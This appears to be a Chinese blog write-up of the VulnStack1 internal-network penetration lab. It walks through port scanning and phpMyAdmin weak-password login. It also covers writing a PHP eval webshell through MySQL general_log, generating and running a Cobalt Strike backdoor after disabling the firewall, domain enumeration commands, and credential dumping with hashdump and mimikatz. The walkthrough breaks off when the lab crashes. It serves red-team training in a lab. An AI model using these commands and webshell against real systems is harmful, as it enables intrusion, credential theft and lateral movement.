内网渗透靶机:VulnStack1


VulnStack是红日安全团队出的一个内网渗透的靶机环境,想着通过靶场环境加深对 Cobalt Strike 和 Metasploit 的学习

靶机简介

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟 ATT&CK 攻击链路进行搭建,开成完整闭环。后续也会搭建真实 APT 实战环境,从实战中成长。虚拟机所有统一密码:hongrisec@2019

靶机下载地址:ATT&CK红队评估实战靶场

环境搭建

网络拓扑结构 网络拓扑图
VMware 网络配置 VMware 网络配置
网络示意图 网络示意图
实际配置图 实际配置图

模拟外网:Vmnet1(192.168.52.0/24)

模拟内网:VMnet2(192.168.57.0/24)

  • 攻击机:Kali2020

    • IP:192.168.52.128
  • Web服务器:Windows7

    • 外网IP:192.168.52.143
    • 内网IP:192.168.72.128
    • 主机名:stu1
  • 域成员主机:Windows Server 2003

    • IP:192.168.72.141
    • 主机名:root-tvi862ubeh
  • 域控服务器:Windows Server 2008

    • IP:192.168.72.138
    • 主机名:owa

启动Web环境:打开Win7后,打开PhpStudy

外网渗透

信息收集

1.探测主机

netdiscover -i eth0 -r 192.168.52.0/24

2.查看目标主机开放端口

nmap -sV -p- 192.168.52.143

-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口

开放了80和3306端口,说明存在Web服务

3.查看网页收集相关信息

1.访问web页面,获取到phpMyadmin登录密码

访问Web服务是一个 phpStudy 探针页面,在这里可以获取到网站的绝对路径 C:/phpStudy/www/

最下面 MYSQL 数据库连接检测:输入弱密码 root/root 成功连接

或者使用phpMyadmin爆破工具也能得到用户名密码

2.扫描目录,获取到网站后台路径和登录用户和密码

扫描到数据库后台 PhpMyadmin 和备份文件 beifen.rar,下载解压得到 yxcms 文件夹,是一个网站的源码,直接访问http://192.168.52.143/yxcms,发现了网站有后台路径和管理员账户泄露

GetShell

1.phpMyadmin日志Getshell

前面信息收集第一步获得的phpMyadmin的用户名和密码,登录进去想办法获得shell

phpmyadmin后台getshell一般有以下几种方式:

  • 1、select into outfile直接写入
  • 2、开启全局日志getshell
  • 3、使用慢查询日志getsehll
  • 4、使用错误日志getshell
  • 5、利用phpmyadmin4.8.x本地文件包含漏洞getshell

看看第一种是否可以,先查看是否有写权限:

show global variables like '%secure_file%';

secure_file_priv 值为 NULL,不能使用 into outfile 方式写入 shell

再来看一下第二种,利用全局变量general_log来Getshell

1.查看全局日志状态

show variables  like  '%general%'; 

2.开启日志,将所有查询语句记录到新指定的可访问的文件中

set global general_log=on;

3.设置全局日志的路径为网站目录

set global general_log_file = 'C:/phpStudy/WWW/jwt.php'

修改后全局日志状态

4.将一句话木马写入该日志文件

SELECT '<?php eval($_POST["cmd"]);?>' 

成功连接蚁剑

2.后台修改前台模板Getshell

根据信息收集第三步中获得的后台路径/index.php?r=admin和用户名:admin;密码:123456

登录进后台,然后发现前台模板有php文件编辑,可以直接写一句话木马进去获取shell

在刚才解压的文件夹下找到info.php的路径(/yxcms/protected/apps/default/view/default/info.php)或者利用目录遍历找到路径,直接蚁剑连接

参考:

内网渗透

反弹shell给Cobalt Strike

1.CS创建Listener

通过 Cobalt StikeListenersAdd 创建一个监听器

2.生成后门文件

攻击生成后门Windows Executable(S),监听器选择刚创建的 Listener,输出选择Windows EXE

3.蚁剑上传后门

先关闭受害机防火墙

netsh advfirewall set allprofiles state off

再上传生成的exe

4.执行exe获得shell
直接输入exe 文件名执行 exe

获得Cobalt Strike 的 shell

主机上线 主机上线

拿到 shell 第一步,调低心跳值,默认心跳为 60s,执行命令的响应很慢,进入 beacon 执行 sleep 5 或者右键主机选择 会话Sleep进行设置

主机信息收集

右键受害机选择进入 beacon 执行命令(执行cmd命令前面要加shell)

查询基本信息

shell whoami
shell hostname
net user 	# 本机用户列表
net localgroup administrators    # 本机管理员[通常含有域用户]
shell systeminfo #查看系统详细信息
nslookup god.org    # 解析域名IP地址

查询操作系统信息

shell systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  # 英文操作系统
shell systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"   # 中文操作系统
shell echo %PROCESSOR_ARCHITECTURE%    # 查看系统系统结构

查询已安装的软件以及版本信息

# 使用wmic操作
shell wmic product get name,version 

#使用powershell进行操作
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,Version" 

查询进程及服务

shell tasklist # 默认显示映像名称,PID,会话名,会话,内存使用
shell tasklist /svc # 默认显示映像名称,PID,服务
shell wmic process list brief # 列出进程的核心信息,类似任务管理器
net statistics workstation     # 查看主机开机时间
netstat -ano    #查询端口列表
wmic qfe get caption,description,hotfixid,installedon   #查询本机安装的补丁

域信息收集

基础命令

shell ipconfig /all	# 查询本机IP段,所在域等
shell net user /domain    # 查询域用户
shell net view 			# 查看域信息
shell net view /domain   # 查看主域信息
shell net time /domain  # 获取域服务器的时间
shell net group "domain computers" /domain         #查看域内所有的主机名
shell net group "domain admins"   /domain          #查看域管理员
shell net group "domain controllers" /domain       #查看域控
shell net config workstation  # 查询当前登陆域及当前计算机名,全名,用户名,系统版本,工作站域

判断是否存在域控

使用 shell ipconfig /all 查看 DNS 服务器,发现 DNS 服务器名为 god.org

从域信息收集可以得到以下信息:

  • 域:god.org
  • 域内有三个用户:administrator、ligang、liukaifeng01
  • 域内有三台主机:DEV1(不在此环境中)、ROOT-TVI862UBEH(192.168.52.141)、STU1(192.168.52.143)
  • 域控:OWA(192.168.52.138)
  • 域管理员:administrator

横向探测

凭据导出

凭据可以理解为目标机的账号,密码。凭据导出是渗透测试中极为重要的步骤,导出目标机凭据后,我们可以使用凭据实现横向移动(利用hash传递,smb/rdp爆破等等手法)来扩大我们的战果。

hashdump读内存密码
beacon> hashdump
或者
右键点击beacon会话→执行→转储Hash
Mimikatz导出凭据

利用 mimitakz 模块(实战中需要免杀处理),读注册表密码

beacon> logonpasswords
或者
右键点击主机→执行→Run Mimikatz

凭据存储

点击凭证信息可以查看读取到的密码

环境崩了,后续操作暂时无法更新

参考:

赞助💰

如果你觉得对你有帮助,你可以请我喝一杯冰可乐!嘻嘻🤭

支付宝支付 微信支付

文章作者: 简简
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 简简 !
评论
填上邮箱会收到评论回复提醒哦!!!
 上一篇
Metasploit 学习记录 Metasploit 学习记录
Metasploit是一款开源的渗透测试框架平台,MSF已经内置了数千个已披露的漏洞相关的模块和渗透测试工具,模块使用ruby语言编写。
2020-08-12
下一篇 
Cobalt Strike 学习记录 Cobalt Strike 学习记录
Cobalt Strike(简称“CS”)是一款团队作战渗透测试神器,分为客户端和服务端,一个服务端可以对应多个客户端,一个客户端可以连接多个服务端,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成
2020-07-26
  目录